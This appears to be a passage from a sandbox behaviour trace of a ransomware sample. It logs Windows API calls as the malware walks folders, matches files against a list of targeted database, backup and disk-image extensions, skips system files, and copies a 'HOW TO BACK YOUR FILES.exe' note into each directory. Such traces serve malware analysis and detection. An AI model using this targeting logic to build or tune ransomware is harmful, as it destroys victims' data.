	[0051.747] lstrcmpiW (lpString1="tml", lpString2="ora") returned 1
	[0051.747] lstrlenW (lpString="orx") returned 3
	[0051.747] lstrcmpiW (lpString1="tml", lpString2="orx") returned 1
	[0051.747] lstrlenW (lpString="owc") returned 3
	[0051.747] lstrcmpiW (lpString1="tml", lpString2="owc") returned 1
	[0051.747] lstrlenW (lpString="p96") returned 3
	[0051.747] lstrcmpiW (lpString1="tml", lpString2="p96") returned 1
	[0051.747] lstrlenW (lpString="p97") returned 3
	[0051.750] lstrcmpiW (lpString1="tml", lpString2="p97") returned 1
	[0051.750] lstrlenW (lpString="pan") returned 3
	[0051.750] lstrcmpiW (lpString1="tml", lpString2="pan") returned 1
	[0051.750] lstrlenW (lpString="pdb") returned 3
	[0051.750] lstrcmpiW (lpString1="tml", lpString2="pdb") returned 1
	[0051.750] lstrlenW (lpString="pdm") returned 3
	[0051.750] lstrcmpiW (lpString1="tml", lpString2="pdm") returned 1
	[0051.750] lstrlenW (lpString="pnz") returned 3
	[0051.751] lstrcmpiW (lpString1="tml", lpString2="pnz") returned 1
	[0051.751] lstrlenW (lpString="qry") returned 3
	[0051.751] lstrcmpiW (lpString1="tml", lpString2="qry") returned 1
	[0051.751] lstrlenW (lpString="qvd") returned 3
	[0051.751] lstrcmpiW (lpString1="tml", lpString2="qvd") returned 1
	[0051.751] lstrlenW (lpString="rbf") returned 3
	[0051.751] lstrcmpiW (lpString1="tml", lpString2="rbf") returned 1
	[0051.751] lstrlenW (lpString="rctd") returned 4
	[0051.751] lstrcmpiW (lpString1="html", lpString2="rctd") returned -1
	[0051.751] lstrlenW (lpString="rod") returned 3
	[0051.751] lstrcmpiW (lpString1="tml", lpString2="rod") returned 1
	[0051.751] lstrlenW (lpString="rodx") returned 4
	[0051.751] lstrcmpiW (lpString1="html", lpString2="rodx") returned -1
	[0051.751] lstrlenW (lpString="rpd") returned 3
	[0051.751] lstrcmpiW (lpString1="tml", lpString2="rpd") returned 1
	[0051.751] lstrlenW (lpString="rsd") returned 3
	[0051.751] lstrcmpiW (lpString1="tml", lpString2="rsd") returned 1
	[0051.751] lstrlenW (lpString="sas7bdat") returned 8
	[0051.751] lstrcmpiW (lpString1="eds.html", lpString2="sas7bdat") returned -1
	[0051.751] lstrlenW (lpString="sbf") returned 3
	[0051.751] lstrcmpiW (lpString1="tml", lpString2="sbf") returned 1
	[0051.751] lstrlenW (lpString="scx") returned 3
	[0051.751] lstrcmpiW (lpString1="tml", lpString2="scx") returned 1
	[0051.751] lstrlenW (lpString="sdb") returned 3
	[0051.751] lstrcmpiW (lpString1="tml", lpString2="sdb") returned 1
	[0051.751] lstrlenW (lpString="sdc") returned 3
	[0051.751] lstrcmpiW (lpString1="tml", lpString2="sdc") returned 1
	[0051.751] lstrlenW (lpString="sdf") returned 3
	[0051.751] lstrcmpiW (lpString1="tml", lpString2="sdf") returned 1
	[0051.751] lstrlenW (lpString="sis") returned 3
	[0051.751] lstrcmpiW (lpString1="tml", lpString2="sis") returned 1
	[0051.751] lstrlenW (lpString="spq") returned 3
	[0051.751] lstrcmpiW (lpString1="tml", lpString2="spq") returned 1
	[0051.751] lstrlenW (lpString="te") returned 2
	[0051.752] lstrcmpiW (lpString1="ml", lpString2="te") returned -1
	[0051.752] lstrlenW (lpString="teacher") returned 7
	[0051.752] lstrcmpiW (lpString1="ds.html", lpString2="teacher") returned -1
	[0051.752] lstrlenW (lpString="tmd") returned 3
	[0051.752] lstrcmpiW (lpString1="tml", lpString2="tmd") returned 1
	[0051.752] lstrlenW (lpString="tps") returned 3
	[0051.752] lstrcmpiW (lpString1="tml", lpString2="tps") returned -1
	[0051.752] lstrlenW (lpString="trc") returned 3
	[0051.752] lstrcmpiW (lpString1="tml", lpString2="trc") returned -1
	[0051.752] lstrlenW (lpString="trc") returned 3
	[0051.752] lstrcmpiW (lpString1="tml", lpString2="trc") returned -1
	[0051.752] lstrlenW (lpString="trm") returned 3
	[0051.752] lstrcmpiW (lpString1="tml", lpString2="trm") returned -1
	[0051.752] lstrlenW (lpString="udb") returned 3
	[0051.752] lstrcmpiW (lpString1="tml", lpString2="udb") returned -1
	[0051.752] lstrlenW (lpString="udl") returned 3
	[0051.752] lstrcmpiW (lpString1="tml", lpString2="udl") returned -1
	[0051.752] lstrlenW (lpString="usr") returned 3
	[0051.752] lstrcmpiW (lpString1="tml", lpString2="usr") returned -1
	[0051.752] lstrlenW (lpString="v12") returned 3
	[0051.752] lstrcmpiW (lpString1="tml", lpString2="v12") returned -1
	[0051.752] lstrlenW (lpString="vis") returned 3
	[0051.752] lstrcmpiW (lpString1="tml", lpString2="vis") returned -1
	[0051.752] lstrlenW (lpString="vpd") returned 3
	[0051.752] lstrcmpiW (lpString1="tml", lpString2="vpd") returned -1
	[0051.752] lstrlenW (lpString="vvv") returned 3
	[0051.752] lstrcmpiW (lpString1="tml", lpString2="vvv") returned -1
	[0051.752] lstrlenW (lpString="wdb") returned 3
	[0051.752] lstrcmpiW (lpString1="tml", lpString2="wdb") returned -1
	[0051.752] lstrlenW (lpString="wmdb") returned 4
	[0051.752] lstrcmpiW (lpString1="html", lpString2="wmdb") returned -1
	[0051.752] lstrlenW (lpString="wrk") returned 3
	[0051.752] lstrcmpiW (lpString1="tml", lpString2="wrk") returned -1
	[0051.752] lstrlenW (lpString="xdb") returned 3
	[0051.753] lstrcmpiW (lpString1="tml", lpString2="xdb") returned -1
	[0051.753] lstrlenW (lpString="xld") returned 3
	[0051.753] lstrcmpiW (lpString1="tml", lpString2="xld") returned -1
	[0051.753] lstrlenW (lpString="xmlff") returned 5
	[0051.753] lstrcmpiW (lpString1=".html", lpString2="xmlff") returned -1
	[0051.753] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xcfe, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 1
	[0051.753] lstrcmpiW (lpString1="settings.html", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.753] lstrcmpiW (lpString1="settings.html", lpString2="Apollon865.txt.exe") returned 1
	[0051.753] lstrcmpiW (lpString1="settings.html", lpString2=".") returned 1
	[0051.753] lstrcmpiW (lpString1="settings.html", lpString2="..") returned 1
	[0051.753] lstrcmpiW (lpString1="settings.html", lpString2="windows") returned -1
	[0051.753] lstrcmpiW (lpString1="settings.html", lpString2="bootmgr") returned 1
	[0051.753] lstrcmpiW (lpString1="settings.html", lpString2="temp") returned -1
	[0051.753] lstrcmpiW (lpString1="settings.html", lpString2="pagefile.sys") returned 1
	[0051.753] lstrcmpiW (lpString1="settings.html", lpString2="boot") returned 1
	[0051.753] lstrcmpiW (lpString1="settings.html", lpString2="ids.txt") returned 1
	[0051.753] lstrcmpiW (lpString1="settings.html", lpString2="ntuser.dat") returned 1
	[0051.753] lstrcmpiW (lpString1="settings.html", lpString2="perflogs") returned 1
	[0051.753] lstrcmpiW (lpString1="settings.html", lpString2="MSBuild") returned 1
	[0051.753] lstrlenW (lpString="settings.html") returned 13
	[0051.753] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\RSSFeeds.html") returned 82
	[0051.753] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="settings.html" | out: lpString1="settings.html") returned="settings.html"
	[0051.753] lstrlenW (lpString="settings.html") returned 13
	[0051.753] lstrlenW (lpString="Apollon865") returned 10
	[0051.753] lstrcmpiW (lpString1="tings.html", lpString2="Apollon865") returned 1
	[0051.753] lstrlenW (lpString=".dll") returned 4
	[0051.753] lstrcmpiW (lpString1="settings.html", lpString2=".dll") returned 1
	[0051.753] lstrlenW (lpString=".lnk") returned 4
	[0051.753] lstrcmpiW (lpString1="settings.html", lpString2=".lnk") returned 1
	[0051.753] lstrlenW (lpString=".ini") returned 4
	[0051.753] lstrcmpiW (lpString1="settings.html", lpString2=".ini") returned 1
	[0051.753] lstrlenW (lpString=".sys") returned 4
	[0051.754] lstrcmpiW (lpString1="settings.html", lpString2=".sys") returned 1
	[0051.754] lstrlenW (lpString="settings.html") returned 13
	[0051.754] lstrlenW (lpString="bak") returned 3
	[0051.754] lstrcmpiW (lpString1="tml", lpString2="bak") returned 1
	[0051.754] lstrlenW (lpString="ba_") returned 3
	[0051.754] lstrcmpiW (lpString1="tml", lpString2="ba_") returned 1
	[0051.754] lstrlenW (lpString="dbb") returned 3
	[0051.754] lstrcmpiW (lpString1="tml", lpString2="dbb") returned 1
	[0051.754] lstrlenW (lpString="vmdk") returned 4
	[0051.754] lstrcmpiW (lpString1="html", lpString2="vmdk") returned -1
	[0051.754] lstrlenW (lpString="rar") returned 3
	[0051.754] lstrcmpiW (lpString1="tml", lpString2="rar") returned 1
	[0051.754] lstrlenW (lpString="zip") returned 3
	[0051.754] lstrcmpiW (lpString1="tml", lpString2="zip") returned -1
	[0051.754] lstrlenW (lpString="tgz") returned 3
	[0051.754] lstrcmpiW (lpString1="tml", lpString2="tgz") returned 1
	[0051.754] lstrlenW (lpString="vbox") returned 4
	[0051.754] lstrcmpiW (lpString1="html", lpString2="vbox") returned -1
	[0051.754] lstrlenW (lpString="vdi") returned 3
	[0051.754] lstrcmpiW (lpString1="tml", lpString2="vdi") returned -1
	[0051.754] lstrlenW (lpString="vhd") returned 3
	[0051.754] lstrcmpiW (lpString1="tml", lpString2="vhd") returned -1
	[0051.754] lstrlenW (lpString="vhdx") returned 4
	[0051.754] lstrcmpiW (lpString1="html", lpString2="vhdx") returned -1
	[0051.754] lstrlenW (lpString="avhd") returned 4
	[0051.754] lstrcmpiW (lpString1="html", lpString2="avhd") returned 1
	[0051.754] lstrlenW (lpString="db") returned 2
	[0051.754] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0051.754] lstrlenW (lpString="db2") returned 3
	[0051.754] lstrcmpiW (lpString1="tml", lpString2="db2") returned 1
	[0051.754] lstrlenW (lpString="db3") returned 3
	[0051.754] lstrcmpiW (lpString1="tml", lpString2="db3") returned 1
	[0051.754] lstrlenW (lpString="dbf") returned 3
	[0051.754] lstrcmpiW (lpString1="tml", lpString2="dbf") returned 1
	[0051.755] lstrlenW (lpString="mdf") returned 3
	[0051.755] lstrcmpiW (lpString1="tml", lpString2="mdf") returned 1
	[0051.755] lstrlenW (lpString="mdb") returned 3
	[0051.755] lstrcmpiW (lpString1="tml", lpString2="mdb") returned 1
	[0051.755] lstrlenW (lpString="sql") returned 3
	[0051.755] lstrcmpiW (lpString1="tml", lpString2="sql") returned 1
	[0051.755] lstrlenW (lpString="sqlite") returned 6
	[0051.755] lstrcmpiW (lpString1="s.html", lpString2="sqlite") returned -1
	[0051.755] lstrlenW (lpString="sqlite3") returned 7
	[0051.755] lstrcmpiW (lpString1="gs.html", lpString2="sqlite3") returned -1
	[0051.755] lstrlenW (lpString="sqlitedb") returned 8
	[0051.755] lstrcmpiW (lpString1="ngs.html", lpString2="sqlitedb") returned -1
	[0051.755] lstrlenW (lpString="xml") returned 3
	[0051.755] lstrcmpiW (lpString1="tml", lpString2="xml") returned -1
	[0051.755] lstrlenW (lpString="$er") returned 3
	[0051.755] lstrcmpiW (lpString1="tml", lpString2="$er") returned 1
	[0051.755] lstrlenW (lpString="4dd") returned 3
	[0051.755] lstrcmpiW (lpString1="tml", lpString2="4dd") returned 1
	[0051.755] lstrlenW (lpString="4dl") returned 3
	[0051.755] lstrcmpiW (lpString1="tml", lpString2="4dl") returned 1
	[0051.755] lstrlenW (lpString="^^^") returned 3
	[0051.755] lstrcmpiW (lpString1="tml", lpString2="^^^") returned 1
	[0051.755] lstrlenW (lpString="abs") returned 3
	[0051.755] lstrcmpiW (lpString1="tml", lpString2="abs") returned 1
	[0051.755] lstrlenW (lpString="abx") returned 3
	[0051.755] lstrcmpiW (lpString1="tml", lpString2="abx") returned 1
	[0051.755] lstrlenW (lpString="accdb") returned 5
	[0051.755] lstrcmpiW (lpString1=".html", lpString2="accdb") returned -1
	[0051.755] lstrlenW (lpString="accdc") returned 5
	[0051.755] lstrcmpiW (lpString1=".html", lpString2="accdc") returned -1
	[0051.755] lstrlenW (lpString="accde") returned 5
	[0051.755] lstrcmpiW (lpString1=".html", lpString2="accde") returned -1
	[0051.755] lstrlenW (lpString="accdr") returned 5
	[0051.755] lstrcmpiW (lpString1=".html", lpString2="accdr") returned -1
	[0051.755] lstrlenW (lpString="accdt") returned 5
	[0051.756] lstrcmpiW (lpString1=".html", lpString2="accdt") returned -1
	[0051.756] lstrlenW (lpString="accdw") returned 5
	[0051.756] lstrcmpiW (lpString1=".html", lpString2="accdw") returned -1
	[0051.756] lstrlenW (lpString="accft") returned 5
	[0051.756] lstrcmpiW (lpString1=".html", lpString2="accft") returned -1
	[0051.756] lstrlenW (lpString="adb") returned 3
	[0051.756] lstrcmpiW (lpString1="tml", lpString2="adb") returned 1
	[0051.756] lstrlenW (lpString="adb") returned 3
	[0051.756] lstrcmpiW (lpString1="tml", lpString2="adb") returned 1
	[0051.756] lstrlenW (lpString="ade") returned 3
	[0051.756] lstrcmpiW (lpString1="tml", lpString2="ade") returned 1
	[0051.756] lstrlenW (lpString="adf") returned 3
	[0051.756] lstrcmpiW (lpString1="tml", lpString2="adf") returned 1
	[0051.756] lstrlenW (lpString="adn") returned 3
	[0051.756] lstrcmpiW (lpString1="tml", lpString2="adn") returned 1
	[0051.756] lstrlenW (lpString="adp") returned 3
	[0051.756] lstrcmpiW (lpString1="tml", lpString2="adp") returned 1
	[0051.756] lstrlenW (lpString="alf") returned 3
	[0051.756] lstrcmpiW (lpString1="tml", lpString2="alf") returned 1
	[0051.756] lstrlenW (lpString="ask") returned 3
	[0051.756] lstrcmpiW (lpString1="tml", lpString2="ask") returned 1
	[0051.756] lstrlenW (lpString="btr") returned 3
	[0051.756] lstrcmpiW (lpString1="tml", lpString2="btr") returned 1
	[0051.756] lstrlenW (lpString="cat") returned 3
	[0051.756] lstrcmpiW (lpString1="tml", lpString2="cat") returned 1
	[0051.756] lstrlenW (lpString="cdb") returned 3
	[0051.756] lstrcmpiW (lpString1="tml", lpString2="cdb") returned 1
	[0051.756] lstrlenW (lpString="ckp") returned 3
	[0051.756] lstrcmpiW (lpString1="tml", lpString2="ckp") returned 1
	[0051.756] lstrlenW (lpString="cma") returned 3
	[0051.756] lstrcmpiW (lpString1="tml", lpString2="cma") returned 1
	[0051.756] lstrlenW (lpString="cpd") returned 3
	[0051.756] lstrcmpiW (lpString1="tml", lpString2="cpd") returned 1
	[0051.756] lstrlenW (lpString="dacpac") returned 6
	[0051.757] lstrcmpiW (lpString1="s.html", lpString2="dacpac") returned 1
	[0051.757] lstrlenW (lpString="dad") returned 3
	[0051.757] lstrcmpiW (lpString1="tml", lpString2="dad") returned 1
	[0051.757] lstrlenW (lpString="dadiagrams") returned 10
	[0051.757] lstrcmpiW (lpString1="tings.html", lpString2="dadiagrams") returned 1
	[0051.757] lstrlenW (lpString="daschema") returned 8
	[0051.757] lstrcmpiW (lpString1="ngs.html", lpString2="daschema") returned 1
	[0051.757] lstrlenW (lpString="db-journal") returned 10
	[0051.757] lstrcmpiW (lpString1="tings.html", lpString2="db-journal") returned 1
	[0051.757] lstrlenW (lpString="db-shm") returned 6
	[0051.757] lstrcmpiW (lpString1="s.html", lpString2="db-shm") returned 1
	[0051.757] lstrlenW (lpString="db-wal") returned 6
	[0051.757] lstrcmpiW (lpString1="s.html", lpString2="db-wal") returned 1
	[0051.757] lstrlenW (lpString="dbc") returned 3
	[0051.757] lstrcmpiW (lpString1="tml", lpString2="dbc") returned 1
	[0051.757] lstrlenW (lpString="dbs") returned 3
	[0051.757] lstrcmpiW (lpString1="tml", lpString2="dbs") returned 1
	[0051.757] lstrlenW (lpString="dbt") returned 3
	[0051.757] lstrcmpiW (lpString1="tml", lpString2="dbt") returned 1
	[0051.757] lstrlenW (lpString="dbv") returned 3
	[0051.757] lstrcmpiW (lpString1="tml", lpString2="dbv") returned 1
	[0051.757] lstrlenW (lpString="dbx") returned 3
	[0051.757] lstrcmpiW (lpString1="tml", lpString2="dbx") returned 1
	[0051.757] lstrlenW (lpString="dcb") returned 3
	[0051.757] lstrcmpiW (lpString1="tml", lpString2="dcb") returned 1
	[0051.757] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js"
	[0051.757] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599560 | out: hHeap=0x580000) returned 1
	[0051.757] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd08 | out: hHeap=0x580000) returned 1
	[0051.757] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js") returned 71
	[0051.757] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js" | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js"
	[0051.758] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.758] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\js\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0051.767] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.767] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x36eba4d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x36eba4d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0051.767] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.767] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.767] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.769] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x36eba4d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x36eba4d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0051.769] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.769] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0051.769] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0051.769] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0051.769] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36eba4d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x36eba4d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0051.769] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0051.769] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1aee4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RSSFeeds.js", cAlternateFileName="")) returned 1
	[0051.769] lstrcmpiW (lpString1="RSSFeeds.js", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.769] lstrcmpiW (lpString1="RSSFeeds.js", lpString2="Apollon865.txt.exe") returned 1
	[0051.769] lstrcmpiW (lpString1="RSSFeeds.js", lpString2=".") returned 1
	[0051.769] lstrcmpiW (lpString1="RSSFeeds.js", lpString2="..") returned 1
	[0051.770] lstrcmpiW (lpString1="RSSFeeds.js", lpString2="windows") returned -1
	[0051.770] lstrcmpiW (lpString1="RSSFeeds.js", lpString2="bootmgr") returned 1
	[0051.770] lstrcmpiW (lpString1="RSSFeeds.js", lpString2="temp") returned -1
	[0051.770] lstrcmpiW (lpString1="RSSFeeds.js", lpString2="pagefile.sys") returned 1
	[0051.770] lstrcmpiW (lpString1="RSSFeeds.js", lpString2="boot") returned 1
	[0051.770] lstrcmpiW (lpString1="RSSFeeds.js", lpString2="ids.txt") returned 1
	[0051.770] lstrcmpiW (lpString1="RSSFeeds.js", lpString2="ntuser.dat") returned 1
	[0051.770] lstrcmpiW (lpString1="RSSFeeds.js", lpString2="perflogs") returned 1
	[0051.770] lstrcmpiW (lpString1="RSSFeeds.js", lpString2="MSBuild") returned 1
	[0051.770] lstrlenW (lpString="RSSFeeds.js") returned 11
	[0051.770] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js\\*") returned 73
	[0051.770] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="RSSFeeds.js" | out: lpString1="RSSFeeds.js") returned="RSSFeeds.js"
	[0051.770] lstrlenW (lpString="RSSFeeds.js") returned 11
	[0051.770] lstrlenW (lpString="Apollon865") returned 10
	[0051.770] lstrcmpiW (lpString1="SSFeeds.js", lpString2="Apollon865") returned 1
	[0051.770] lstrlenW (lpString=".dll") returned 4
	[0051.770] lstrcmpiW (lpString1="RSSFeeds.js", lpString2=".dll") returned 1
	[0051.770] lstrlenW (lpString=".lnk") returned 4
	[0051.770] lstrcmpiW (lpString1="RSSFeeds.js", lpString2=".lnk") returned 1
	[0051.770] lstrlenW (lpString=".ini") returned 4
	[0051.770] lstrcmpiW (lpString1="RSSFeeds.js", lpString2=".ini") returned 1
	[0051.770] lstrlenW (lpString=".sys") returned 4
	[0051.770] lstrcmpiW (lpString1="RSSFeeds.js", lpString2=".sys") returned 1
	[0051.770] lstrlenW (lpString="RSSFeeds.js") returned 11
	[0051.770] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="settings.js" | out: lpString1="settings.js") returned="settings.js"
	[0051.770] lstrlenW (lpString="settings.js") returned 11
	[0051.770] lstrlenW (lpString="Apollon865") returned 10
	[0051.770] lstrcmpiW (lpString1="ettings.js", lpString2="Apollon865") returned 1
	[0051.770] lstrlenW (lpString=".dll") returned 4
	[0051.770] lstrcmpiW (lpString1="settings.js", lpString2=".dll") returned 1
	[0051.770] lstrlenW (lpString=".lnk") returned 4
	[0051.771] lstrcmpiW (lpString1="settings.js", lpString2=".lnk") returned 1
	[0051.771] lstrlenW (lpString=".ini") returned 4
	[0051.771] lstrcmpiW (lpString1="settings.js", lpString2=".ini") returned 1
	[0051.771] lstrlenW (lpString=".sys") returned 4
	[0051.771] lstrcmpiW (lpString1="settings.js", lpString2=".sys") returned 1
	[0051.771] lstrlenW (lpString="settings.js") returned 11
	[0051.771] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css"
	[0051.771] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5994c0 | out: hHeap=0x580000) returned 1
	[0051.771] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fce8 | out: hHeap=0x580000) returned 1
	[0051.771] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css") returned 72
	[0051.771] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css" | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css"
	[0051.771] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.771] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\css\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0051.775] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.775] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x36ee0630, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x36ee0630, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0051.775] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.775] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.775] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.775] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x36ee0630, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x36ee0630, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0051.775] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.775] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0051.776] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0051.776] lstrcmpiW (lpString1="..", lpString2="..") returned 0
